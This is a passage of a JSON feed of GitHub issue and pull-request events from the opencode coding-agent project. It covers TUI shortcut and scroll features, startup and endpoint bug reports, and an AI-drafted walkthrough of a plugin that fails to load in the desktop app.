focused interaction coverage: - Permission rejection textarea: Return / `Ctrl+D` - Textual FormPrompt controls: Return / Tab / Escape - Autocomplete destructive action: `Ctrl+D` - Composer navigation and configured non-default bindings while an editor remains focused ## Desired direction Provide a reusable, configuration-aware way for an active contextual layer to take precedence over global/editor bindings. Avoid per-component raw-event checks for one literal default shortcut. ## Acceptance criteria - Contextual commands can claim their configured bindings without hard-coding physical keys. - Disabled (`none`) bindings remain disabled. - Multi-binding and rebinding behavior is preserved. - Focused textarea editing still wins when no active contextual command claims the key. - Add collision tests for the affected composer and textarea-backed surfaces above.",
          "url": "https://github.com/anomalyco/opencode/issues/42377",
          "createdAt": "2026-08-13T17:41:58Z",
          "updatedAt": "2026-08-13T17:41:58Z",
          "timestamp": "2026-08-13T17:41:58Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "kitlangton",
          "state": "open",
          "assignees": [],
          "change": "new"
        }
      },
      {
        "id": "event:1a88f4bd7a90d3bf95ce",
        "signalId": "github:anomalyco/opencode:pull_request:42366",
        "event": "discovered",
        "observedAt": "2026-08-13T17:43:20.785491Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42366",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(tui): restore composer shell kill shortcut",
          "text": "## What Restore `Ctrl+D` shell termination from the TUI composer Shell tab when a global binding also recognizes the key. ## Before / After **Before:** The Shell tab rendered `kill ctrl+d`, but the key could be consumed before `composer.shell.kill`, so no `DELETE /api/shell/:id` request was sent and the background process continued running. **After:** While the Shell tab is active, its configured `Ctrl+D` binding gets first refusal and dispatches the existing `composer.shell.kill` command. The server removes the shell and terminates its process group. ## How - `packages/tui/src/routes/session/composer/shell-tab.tsx` intercepts the configured `Ctrl+D` shell-kill shortcut while the Shell tab is active, then dispatches the existing command. - `packages/tui/test/cli/tui/composer-keymap.test.tsx` covers a focused textarea plus the global `app.exit` collision and verifies the shell DELETE request. ## Scope This does not change composer focus, the shell API, or process lifecycle. The existing `shell.remove` path already terminates the detached process group; the bug was that the TUI never invoked it. ## Testing - `bun run test test/cli/tui/composer-keymap.test.tsx` from `packages/tui`: 3 passed - `bun typecheck` from `packages/tui`: passed - Push hook repository typecheck: 34 packages passed - `bun run test test/tool-shell.test.ts` from `packages/core`: 20 passed - Live PTY verification with `termctrl` against the elected OpenCode service: opened the Shell tab, pressed `Ctrl+D`, observed the shell disappear, and confirmed the shell API no longer returned its ID ## Flow ```mermaid sequenceDiagram participant User participant ShellTab participant Server participant Process User->>ShellTab: Press Ctrl+D ShellTab->>ShellTab: Dispatch composer.shell.kill ShellTab->>Server: DELETE /api/shell/:id Server->>Process: Terminate process group Server-->>ShellTab: shell.deleted ```",
          "url": "https://github.com/anomalyco/opencode/pull/42366",
          "createdAt": "2026-08-13T17:05:37Z",
          "updatedAt": "2026-08-13T17:40:49Z",
          "timestamp": "2026-08-13T17:40:49Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "closed",
          "assignees": [],
          "change": "new"
        }
      },
      {
        "id": "event:1536f1e2dc8dbceb1ce2",
        "signalId": "github:anomalyco/opencode:pull_request:42353",
        "event": "changed",
        "observedAt": "2026-08-13T17:43:20.785491Z",
        "changedFields": [
          "text",
          "updatedAt",
          "metrics"
        ],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42353",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "feat(tui): prototype missing location recovery",
          "text": "## What Add a persistent recovery surface when a session's location cannot initialize. The transcript remains readable, the durable model identity remains visible in existing message chrome, and the normal composer is replaced with a focused `Choose directory` action using the same question-panel pattern as permissions. ## Before / After **Before** 1. A session's directory is deleted. 2. Location-scoped reads fail. 3. The durable session and transcript still exist, but the TUI presents secondary symptoms such as an unavailable model. 4. The user has no clear recovery action in the composer. **After** 1. The session route retains the failed location synchronization state. 2. The transcript remains mounted. 3. The composer is replaced with `Session location unavailable`, the abbreviated path, and `Choose directory`. 4. The action opens the existing `Move session` dialog, scoped to cataloged directories for the same project. 5. An unavailable current directory is not synthesized into the picker. 6. A successful destination sync clears the recovery state and restores the composer. ## How - `packages/tui/src/context/location.tsx` retains the latest location synchronization error and clears it before each retry. - `packages/tui/src/routes/session/permission.tsx` exposes the existing question-panel shell as `SessionQuestion` without changing permission behavior. - `packages/tui/src/routes/session/location-missing.tsx` renders the recovery prompt through that shared shell. - `packages/tui/src/component/dialog-move-session.tsx` treats the project directory catalog as authoritative and flattens category headers while searching. - Storybook mounts the production recovery panel and move dialog with fixture directories. ## Scope - The client currently knows only that location initialization failed. It cannot prove the directory is missing rather than config, plugin, or catalog initialization failing. Typed server-side location status remains follow-up work. - This PR does not fix orphaned-session move semantics, absolute `/cd` handling, or CLI HTTP error exits. - The Storybook fixture handles the final selection locally; it does not call the server move endpoint. ## Testing - `bun typecheck` from `packages/tui` - `bun run test test/new-session-location.test.ts` from `packages/tui` (3 passing) - `bun run test test/cli/tui/data.test.tsx` was attempted twice; 22 event-stream tests timed out with the fixture stuck in `reconnecting` - Commit hook: `bun turbo typecheck --concurrency=3` (34 tasks passing) - OpenCode Drive walkthrough of the production recovery panel and project-scoped picker ## Demo https://github.com/user-attachments/assets/9ad51e2f-a2ec-4a5d-aff9-17b017d249c5 ![Project-scoped recovery directory picker](https://github.com/user-attachments/assets/7b552728-1c27-46bf-b837-797cc210e6cf) ## Flow ```mermaid flowchart TD A[Open durable session] --> B{Location sync succeeds?} B -- Yes --> C[Normal composer] B -- No --> D[Keep transcript visible] D --> E[Show recovery panel] E --> F[Open Move session] F --> G{Destination sync succeeds?} G -- Yes --> C G -- No --> E ```",
          "url": "https://github.com/anomalyco/opencode/pull/42353",
          "createdAt": "2026-08-13T16:18:08Z",
          "updatedAt": "2026-08-13T17:35:21Z",
          "timestamp": "2026-08-13T17:35:21Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:dbe0364b2dfd5486e1a4",
        "signalId": "github:anomalyco/opencode:issue:42374",
        "event": "discovered",
        "observedAt": "2026-08-13T17:43:20.785491Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42374",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Endpoints 404?",
          "text": "### Description I use Routerly and OpenCode, and have been using a combination of OpenCode Zen and Go subscriptions. Until today, this worked fine until I noticed models running very slow - timeouts. To help work around those issues, I re-added the models and created policy in an attempt to see if Routerly will choose models that are performing better. (Performance-based policy) Using the same endpoint URLs I had been using yesterday... And comparing to documentation... These appear correct. Getting 404 from both Zen and Go endpoints. https://opencode.ai/zen/v1/chat/completions and https://opencode.ai/zen/go/v1/chat/completions returns 404 for all models. <img width=\"1408\" height=\"721\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/8829ead9-ea8b-4bea-8a0a-ed253902e205\" /> Here is a request I captured from Routerly for big-pickle to see what the request data that is sent to opencode.ai looks like: ``` habanero:~:% nc -vl 4444 Listening on 0.0.0.0 4444 Connection received on 10.0.5.94 36174 POST /zen/v1/chat/completions/chat/completions HTTP/1.1 host: 192.168.44.12:4444 connection: keep-alive Content-Type: application/json Authorization: Bearer <API token redacted> accept: */* accept-language: * sec-fetch-mode: cors user-agent: node accept-encoding: gzip, deflate content-length: 98 {\"model\":\"big-pickle\",\"messages\":[{\"role\":\"user\",\"content\":\"ping\"}],\"max_tokens\":5,\"stream\":false} ``` Surely, I am doing something wrong here - and Anomaly didn't just throw in the towel? ### Plugins Routerly ### OpenCode version 1.18.13 ### Steps to reproduce 1. Configure endpoints according to https://opencode.ai/docs/zen/#endpoints and https://opencode.ai/docs/go/#endpoints 2. See 404 ### Screenshot and/or share link _No response_ ### Operating System _No response_ ### Terminal _No response_",
          "url": "https://github.com/anomalyco/opencode/issues/42374",
          "createdAt": "2026-08-13T17:28:36Z",
          "updatedAt": "2026-08-13T17:33:47Z",
          "timestamp": "2026-08-13T17:33:47Z",
          "metrics": {
            "reactions": 1,
            "comments": 1
          },
          "labels": [],
          "author": "salcedo",
          "state": "open",
          "assignees": [
            "fwang"
          ],
          "change": "new"
        }
      },
      {
        "id": "event:40ee764721cb95ed6eab",
        "signalId": "github:anomalyco/opencode:issue:42376",
        "event": "discovered",
        "observedAt": "2026-08-13T17:43:20.785491Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42376",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Startup takes 10-30s, blocking network fetch of models.dev/api.json on every boot when cache is stale",
          "text": "### Description OpenCode blocks startup on a synchronous network fetch of the model registry (`https://models.dev/api.json`, ~3.6MB) whenever the local cache (`~/.cache/opencode/models.json`) is older than the 5-minute TTL. On connections where that host is slow/unstable, this adds **10-30 seconds** to every launch before the TUI appears. Measured on opencode 1.18.18, Linux, regular home connection (no proxy): | Condition | Boot gap (config-load → interactive) | |---|---| | models cache fresh (<5 min) | 0.7-0.8s | | models cache stale, network slow | **10-30s** | | fetch pointed at localhost mirror | 0.74-0.77s | The fetch latency itself was measured up to **16.4s TTFB** (plus occasional TLS errors) for `models.dev/api.json`. The call uses `AbortSignal.timeout(10000)` and Bun's native `fetch()`, which does **not** honor `HTTP_PROXY`/`HTTPS_PROXY`. This is related to #9758: the existing `OPENCODE_DISABLE_MODELS_FETCH` flag is broken by design it only stops the background refresh timer, not the lazy `Data()` read path, and setting it bypasses the bundled snapshot so the model picker breaks. Not a usable escape hatch. **Request:** make the boot-time registry fetch non-blocking (render TUI immediately from cache/snapshot, refresh in background), honor `HTTP_PROXY`/`HTTPS_PROXY`, and provide a working `offline`/`skip_models_fetch` config (or fix `OPENCODE_DISABLE_MODELS_FETCH`). ### Plugins none required, reproduced with an empty plugin array. (User's real config also has opencode-mem@2.22.2, @tarquinen/opencode-dcp@3.1.14, opencode-pty@0.3.6, ./plugins/caveman/plugin.js; these add ~2s total and are not the cause.) ### OpenCode version 1.18.18 ### Steps to reproduce 1. Install opencode 1.18.18 (no plugins needed). 2. Age the cache: touch -d \"10 minutes ago\" ~/.cache/opencode/models.json (or wait >5 min after last run). 3. Launch: script -qc \"opencode\" /dev/null (or a normal terminal). 4. Time from invocation until the TUI is interactive; compare to a run where the cache was just refreshed. ### Screenshot and/or share link _No response_ ### Operating System Linux (Arch) ### Terminal Alacritty",
          "url": "https://github.com/anomalyco/opencode/issues/42376",
          "createdAt": "2026-08-13T17:30:27Z",
          "updatedAt": "2026-08-13T17:32:00Z",
          "timestamp": "2026-08-13T17:32:00Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "Vedant9500",
          "state": "open",
          "assignees": [
            "kitlangton"
          ],
          "change": "new"
        }
      },
      {
        "id": "event:e375f9238098bb920a75",
        "signalId": "github:anomalyco/opencode:pull_request:42372",
        "event": "discovered",
        "observedAt": "2026-08-13T17:43:20.785491Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42372",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "feat(app): show tokens-per-second in context usage indicator",
          "text": "### Issue for this PR No issue filed; small UX addition to the existing context usage indicator. ### Type of change - [ ] Bug fix - [x] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? The context usage indicator (progress circle shown in the session header and message timeline) already shows cost, context usage % and total tokens on hover. This PR adds a tokens-per-second metric: - \\getSessionContext\\ now also computes \\ ps\\ for the last assistant message: output tokens divided by turn duration (\\ ime.completed - time.created\\). It stays \\undefined\\ when the turn has no completion time or no output tokens, and the UI renders \\–\\ in that case. - The hover tooltip gains a \\TPS\\ row next to the existing cost / usage / tokens rows. - A small TPS number is rendered beside the circle. I chose message-level timing (the whole assistant turn) over text-part timing because the component only has message data; this keeps the metric consistent with the other per-message rows and needs no extra data fetching. ### How did you verify your code works? - Added 2 unit tests for \\getSessionContext\\ (6 pass total), covering the TPS math and the undefined fallbacks. - Built the desktop app locally (v1.18.5) and smoke-tested: server sidecar boots and the renderer loads with the change. ### Screenshots / recordings None — no screenshot tooling on my machine. Verified by unit tests and a local desktop build. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/42372",
          "createdAt": "2026-08-13T17:26:18Z",
          "updatedAt": "2026-08-13T17:30:23Z",
          "timestamp": "2026-08-13T17:30:23Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "894864",
          "state": "open",
          "assignees": [],
          "change": "new"
        }
      },
      {
        "id": "event:6d663095cc621f516b6f",
        "signalId": "github:anomalyco/opencode:pull_request:42362",
        "event": "discovered",
        "observedAt": "2026-08-13T17:43:20.785491Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42362",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "feat(tui): prototype tab scroll controls",
          "text": "## What Add an opt-in TUI experiment for preserving reading position across visible quick-slot tabs and returning to the latest transcript content. Run it with: ```sh OPENCODE_EXPERIMENTAL_TAB_SCROLL=1 bun dev ``` When a visible tab is scrolled away from the bottom, switching away remembers its offset. Returning restores that reading position and shows a clickable `↓ Bottom` affordance above the composer. Use `/jump-bottom-position` to compare centered and right-aligned placement. Centered is the default. ## Before / After **Before:** Switching away from a session unmounted its view. Returning always snapped the transcript to the bottom, even when the user had been reading earlier messages. There was no visible way to return to the latest content after scrolling upward. **After:** Only sessions in the nine visible quick slots retain an in-memory offset, and only while they are away from the bottom. Returning to one restores its position. Clicking `↓ Bottom`, scrolling back to the bottom, unpinning the tab, or leaving the visible slots clears the saved offset. ## How - `packages/core/src/flag/flag.ts` adds the `OPENCODE_EXPERIMENTAL_TAB_SCROLL` experiment flag. - `packages/tui/src/context/local.tsx` keeps transient offsets scoped to visible quick slots and clears them when a tab leaves that set. - `packages/tui/src/routes/session/index.tsx` tracks whether the viewport is away from the bottom, restores eligible offsets after sync, and renders the jump control above the composer. - `/jump-bottom-position` toggles the affordance between centered and right-aligned layouts for evaluation. ## Scope - Disabled by default. - Scroll positions last only for the current TUI process. - Sessions outside the nine visible quick slots do not retain positions. - This does not change transcript content or server-side session state. ## Testing - `bun typecheck` in `packages/core` - `bun typecheck` in `packages/tui` - `bun run test` in `packages/tui`: 191 passed, 1 skipped - Push hook `bun turbo typecheck`: 29 packages passed ## States **1. At the latest content** No affordance appears and no offset is retained. ```text Latest transcript content ┃ Prompt ``` **2. Reading history** The current quick-slot tab retains its offset and offers a return path. ```text Earlier transcript content ↓ Bottom ┃ Prompt ``` **3. Comparing placement** Run `/jump-bottom-position` to move the same control to the right edge. ```text Earlier transcript content ↓ Bottom ┃ Prompt ``` ## Flow ```mermaid flowchart TD A[Visible quick-slot tab] --> B{At bottom?} B -->|Yes| C[Clear saved offset and hide control] B -->|No| D[Save offset when leaving and show Bottom] D --> E[Switch back to tab] E --> F[Restore saved offset] D -->|Click Bottom| C D -->|Tab leaves visible slots| C ```",
          "url": "https://github.com/anomalyco/opencode/pull/42362",
          "createdAt": "2026-08-13T16:50:40Z",
          "updatedAt": "2026-08-13T17:29:20Z",
          "timestamp": "2026-08-13T17:29:20Z",
          "metrics": {
            "reactions": 0,
            "comments": 3
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "closed",
          "assignees": [],
          "change": "new"
        }
      },
      {
        "id": "event:430085f2e939f8643686",
        "signalId": "github:anomalyco/opencode:pull_request:42375",
        "event": "discovered",
        "observedAt": "2026-08-13T17:43:20.785491Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42375",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "feat(tui): prototype tab scroll memory",
          "text": "## What Add an opt-in V2 TUI experiment that remembers the reading position of each open session tab and provides a direct return to the latest transcript content. Enable **Remember tab scroll** from the DevTools **Experiments** dialog. ## Before / After **Before:** Switching away from a session tab unmounted its transcript. Returning always snapped to the bottom, even when reading earlier output. Scrolling upward also had no visible return action. **After:** A tab away from the bottom retains its in-memory scroll offset. Returning restores that position and shows `↓ Bottom` along the right edge above the composer with one column of spacing. Tabs at the bottom retain no offset. ## How - `packages/tui/src/component/dialog-experiments.tsx` registers **Remember tab scroll** in V2's config-native Experiments dialog and removes the redundant list category heading. - `packages/tui/src/context/session-tabs.tsx` owns transient positions for open tabs, clearing them when tabs close or the experiment is disabled. - `packages/tui/src/routes/session/index.tsx` captures positions on unmount, restores them after transcript layout, and renders the jump control only while away from the bottom. - Restoring a position mounts the full transcript first; first visits and bottom-position tabs retain the existing tail-first fast path. ## Scope - V2 only, based on `v2`. - Disabled by default. - Positions last only for the current TUI process. - Only open tabs retain positions. - No server-side or durable session state changes. ## Testing - `bun typecheck` in `packages/tui` - `bun run test` in `packages/tui`: 689 passed, 5 skipped - Push hook `bun turbo typecheck --concurrency=3`: 34 packages passed ## Demo OpenCode Drive capture showing the experiment enabled from the V2 TUI: ![Remember tab scroll enabled](https://github.com/user-attachments/assets/0d3b1f73-8e2f-4ed3-b3d6-a373cf0d9704) ## Flow ```mermaid flowchart TD A[Open session tab] --> B{At bottom?} B -->|Yes| C[Clear offset and hide control] B -->|No| D[Keep offset and show Bottom] D --> E[Switch tabs] E --> F[Restore offset after transcript layout] D -->|Click Bottom| C D -->|Close tab| C D -->|Disable experiment| C ```",
          "url": "https://github.com/anomalyco/opencode/pull/42375",
          "createdAt": "2026-08-13T17:28:58Z",
          "updatedAt": "2026-08-13T17:29:06Z",
          "timestamp": "2026-08-13T17:29:06Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "open",
          "assignees": [],
          "change": "new"
        }
      },
      {
        "id": "event:973cbd0e733dd747f704",
        "signalId": "github:anomalyco/opencode:pull_request:42373",
        "event": "discovered",
        "observedAt": "2026-08-13T17:43:20.785491Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42373",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "docs(go): use responses API for Grok 4.5",
          "text": "## Summary - update the Grok 4.5 Go endpoint to the Responses API - use the matching `@ai-sdk/openai` package - keep all localized Go docs in sync ## Testing - `git diff --check origin/dev...HEAD` - `bun turbo typecheck` (pre-push hook)",
          "url": "https://github.com/anomalyco/opencode/pull/42373",
          "createdAt": "2026-08-13T17:26:41Z",
          "updatedAt": "2026-08-13T17:28:58Z",
          "timestamp": "2026-08-13T17:28:58Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "MrMushrooooom",
          "state": "closed",
          "assignees": [],
          "change": "new"
        }
      },
      {
        "id": "event:e8bcf82053c016d06e6b",
        "signalId": "github:anomalyco/opencode:issue:42371",
        "event": "discovered",
        "observedAt": "2026-08-13T17:43:20.785491Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42371",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "tui: /compact fails with \"Compaction produced no summary\" (deepseek flash)",
          "text": "## Summary Running `/compact` in the TUI consistently fails: the compaction step is marked as failed (red `x Compaction`) and reports **\"Compaction produced no summary\"**. No session summary is produced, so context compaction does not work. ## Environment - opencode version: 1.18.16 (`opencode --version`) - OS: macOS Darwin arm64 - Terminal: TERM=xterm-256color - Shell: /bin/zsh - Install/channel: release (1.18.16) - Active plugins: none found (no `opencode.json`/`opencode.jsonc` in cwd or `~/.config/opencode/`) ## Reproduction 1. Open a session in the TUI (active model: `deepseek flash`). 2. Run `/compact`. 3. Observe the red `x Compaction` entry and the message `Compaction produced no summary`. ## Expected Behavior Compaction runs and produces a summary of the session that is applied, so the context is compacted and the conversation can continue normally. ## Actual Behavior Consistent failure: no summary is produced. The compaction step is marked as failed (red `x Compaction`) with the message `Compaction produced no summary`. ## Additional Context - Consistently reproducible, not intermittent. - Active model: `deepseek flash`. Hypothesis: compaction uses the active model, and `deepseek flash` returns empty/unsupported content for the summary step (or the summary request fails). Worth checking whether compaction succeeds with other models, and surfacing the underlying model response/error instead of the generic \"produced no summary\" message. - No workarounds found.",
          "url": "https://github.com/anomalyco/opencode/issues/42371",
          "createdAt": "2026-08-13T17:25:44Z",
          "updatedAt": "2026-08-13T17:27:11Z",
          "timestamp": "2026-08-13T17:27:11Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "reisi007",
          "state": "open",
          "assignees": [
            "simonklee"
          ],
          "change": "new"
        }
      },
      {
        "id": "event:d91f200dc0f89a15fce7",
        "signalId": "github:anomalyco/opencode:issue:42370",
        "event": "discovered",
        "observedAt": "2026-08-13T17:43:20.785491Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42370",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Changes don't discard when message is reverted",
          "text": "### Description Changes don't discard when message is reverted (in some projects) I use other agents too (for example: Antigravity), they successfully discard all changes from the reverted point, but in some project, open code doesn't do that ### Plugins Caveman, Magic Context ### OpenCode version 1.18.18 ### Steps to reproduce _No response_ ### Screenshot and/or share link _No response_ ### Operating System Windows 10 22H2 (19045.6466) ### Terminal _No response_",
          "url": "https://github.com/anomalyco/opencode/issues/42370",
          "createdAt": "2026-08-13T17:20:58Z",
          "updatedAt": "2026-08-13T17:23:56Z",
          "timestamp": "2026-08-13T17:23:56Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "AssabTigleG",
          "state": "open",
          "assignees": [
            "nexxeln"
          ],
          "change": "new"
        }
      },
      {
        "id": "event:c9d94cd2b7b8f72524ea",
        "signalId": "github:anomalyco/opencode:issue:42293",
        "event": "changed",
        "observedAt": "2026-08-13T17:43:20.785491Z",
        "changedFields": [
          "updatedAt",
          "metrics"
        ],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42293",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "opencode zen DeepSeek V4 Flash Free requests fail with [invalid_bearer_credential]",
          "text": "### Description I was using opencode connected to DeepSeek V4 Flash Free on opencode zen, and most - *but not all*! - requests failed with an error, `Upstream request failed: [invalid_bearer_credential] Missing or invalid bearer credential` This happened with version 1.18.3. I upgraded to 1.18.18, and it kept happening. I then connected to DeepSeek V4 Flash on my opencode **go** subscription, and the request immediately succeeded, and kept working. ### Plugins None ### OpenCode version 1.18.18 ### Steps to reproduce 1. Connect to opencode zen 2. Choose DeepSeek V4 Flash (Free) as the model 3. Ask some number of requests, most of them seem to be failing at the time of reporting. ### Screenshot and/or share link With DeepSeek V4 Flash Free on OpenCode Zen: <img width=\"1896\" height=\"1642\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/bb2b2c90-7204-4f3b-a905-34dd47dcddbc\" /> With DeepSeek V4 Flash on OpenCode Go: <img width=\"1896\" height=\"1642\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/ee91724e-6030-4604-a3e7-c53bfc1f5d7c\" /> ### Operating System Ubuntu 26.04 ### Terminal Ubuntu terminal",
          "url": "https://github.com/anomalyco/opencode/issues/42293",
          "createdAt": "2026-08-13T09:21:50Z",
          "updatedAt": "2026-08-13T17:21:26Z",
          "timestamp": "2026-08-13T17:21:26Z",
          "metrics": {
            "reactions": 0,
            "comments": 10
          },
          "labels": [],
          "author": "cbrunschen",
          "state": "open",
          "assignees": [
            "MrMushrooooom"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:a6c30f335849bed06155",
        "signalId": "github:anomalyco/opencode:issue:42343",
        "event": "changed",
        "observedAt": "2026-08-13T17:43:20.785491Z",
        "changedFields": [
          "updatedAt",
          "metrics",
          "labels",
          "state"
        ],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42343",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Feedback: Plugin tool missing in GUI desktop session but present in CLI",
          "text": "### Description > 🐛 Found a subtle one while testing an opencode plugin: the tool worked in the CLI but > was **missing from the GUI desktop session** — config said registered, runtime said no. > Root cause turned out to be 3 layers deep (extension-less imports → unbundled workspace > dep → **session tool-list is a create-time snapshot**; only a new session picks it up). > Full walkthrough with repro + fixes 👉 > > — drafted by **DeepSeek V4 Flash** (via opencode), assisting a client's plugin > development. Content de-identified before posting. # Feedback: Plugin tool missing in GUI desktop session but present in CLI > A detailed, agent-driven investigation of a plugin-injection discrepancy between the > opencode CLI and the GUI desktop app. Written both as a **bug report** (actionable for > maintainers) and as a **walkthrough** (showing how the issue was isolated layer by layer). --- ## 1. Summary A custom plugin registers a tool (call it `todo-sync`) by exporting a thin shim under `.opencode/plugins/`. The tool was **available in CLI sessions** (`opencode run`) but **absent from the GUI desktop session** (OpenCode.app) — even though `opencode debug agent` reported the tool as registered. Root causes, in three layers: 1. **Extension-less relative imports** in the plugin source (`./loader` instead of `./loader.ts`): tolerated by bun, **rejected by Node** (the GUI desktop loads plugin `.ts` files directly via Node's type-stripping). 2. **Workspace dependency not bundled** into the plugin artifact: the plugin imported a workspace package (`@scope/core`) at `src/...` paths; the built artifact kept an unresolved `import \"@scope/...\"`, which the GUI runtime could not resolve reliably. 3. **Session-scoped tool list snapshot (suspected GUI behavior/bug)**: the GUI session tool list is captured **when the session is created**. After fixing the plugin, the **pre-existing session** still did not show the tool; only a **new session** did. Fixes: add explicit `.ts` extensions, and build a **self-contained JS dist** with the workspace dependency inlined (`tsdown` `noExternal`). Verified in new CLI and GUI sessions. --- ## 2. Environment | Component | Version / Path | |-----------|----------------| | opencode CLI | 1.18.18 (`opencode`) | | opencode GUI | 1.18.18 — `/Applications/OpenCode.app` (Electron 42.3.3) | | Electron builtin Node | **24.15.0** (via `ELECTRON_RUN_AS_NODE=1`) | | System Node | 24.14.0 | | bun | 1.3.14 | | Bundler | tsdown 0.22.14 | | Plugin shim | `.opencode/plugins/<name>.ts` | | Plugin package | workspace-symlinked into `.opencode/node_modules/@scope/plugin` | | Data store | `~/.local/share/opencode/opencode.db` (SQLite) | --- ## 3. Initial symptoms | Context | Observation | |---------|-------------| | CLI (`opencode run` subprocess) | ✅ `todo-sync` callable, `ok:true`, full payload | | GUI desktop main session | ❌ tool **not in tool list** (only `approve` / `ping` / `guard-ping` present) | | `opencode debug agent <agent>` | ✅ reports `todo-sync: true` at the **config layer** | The gap between \"config layer says registered\" and \"runtime session tool list missing\" was the first strong signal. --- ## 4. Investigation walkthrough (layer by layer) ### 4.1 Baseline (what was verified as healthy) - The project CLI helper version within required range. - Plugin source link: `.opencode/node_modules/@scope/plugin` → symlink → plugin source dir. ✅ - `bun build .opencode/plugins/<name>.ts --bundle` succeeded (no stubbed `node:` modules). ✅ - The other plugin tools (`ping`, `approve`, `guard-ping`) were injected in GUI. ✅ → Conclusion: **CLI chain healthy; the problem was isolated to the GUI environment.** ### 4.2 CLI-side scenario tests (S1–S4) - Basic sync → ✅ ok - State transition (pending → completed) → ✅ - Default taskId (latest task discovery, incl. 3-digit ids) → ✅ - The project CLI's `validate` closed loop (\"todo synced to board\") → ✅ → CLI plugin chain fully healthy; focus shifted to **how the GUI loads plugins**. ### 4.3 GUI loading mechanism - `ps aux` → GUI is Electron 42.3.3. - GUI server log (`~/Library/Application Support/ai.opencode.desktop/logs/*/server.log`) showed `MODULE_TYPELESS_PACKAGE_JSON` warnings **only for some shims** (`guard`, `verify-guard`) — **never for the failing plugin** across multiple restarts. - Extracted the app bundle (`npx @electron/asar extract .../app.asar`) and read the server chunk: plugin loading is `PluginLoader.load` → `await import(row.entry)` — i.e. the GUI **directly imports the `.ts` shim via Node**, with no bundling step. - `ELECTRON_RUN_AS_NODE=1 \"<app>/Contents/MacOS/OpenCode\" -e \"console.log(process.versions)\"` → **Electron builtin Node = 24.15.0**. **Key insight:** CLI (bun) and GUI (Electron Node) differ in `.ts` handling: | Host | Loads `.ts` shim via | Tolerates extension-less relative imports | Resolves `src/...` workspace deps | |------|----------------------|:---:|:---:| | CLI / bun | native import | ✅ | ✅ (bundled) | | GUI / Electron Node | `import(row.entry)` + type-stripping | ❌ | ⚠️ unreliable | ### 4.4 Layer 1 — extension-less relative imports Reproduced with Node type-stripping (simulating the GUI loader): ``` $ node --experimental-strip-types -e \"import('./.opencode/plugins/<name>.ts')\" FAIL: Cannot find module '.../src/todo/loader' imported from .../src/todo/opencode.ts ``` Audit showed the failing module used `\"./loader\"` / `\"./parse\"` / `\"./types\"` (no `.ts`), while sibling plugins (`guard/`, `question-tier/`) used `\"./config.ts\"` (with `.ts`) and loaded fine. **Fix 1:** add explicit `.ts` extensions (3 files, 6 lines). Node direct-import passed; CLI did not regress (tests green, `bun build` exit 0). → GUI still missing the tool after restart → moved to the next layer. ### 4.5 Layer 2 — workspace dependency not bundled The plugin imported `@scope/core/src/...` (framework-keywords, trace-light). The plugin package had **no build step** — its `exports` pointed at `src/*.ts`, so the runtime resolved the workspace chain directly. **Fix 2:** add a `tsdown.config.ts` with: - 4 entry points (one per plugin submodule); - 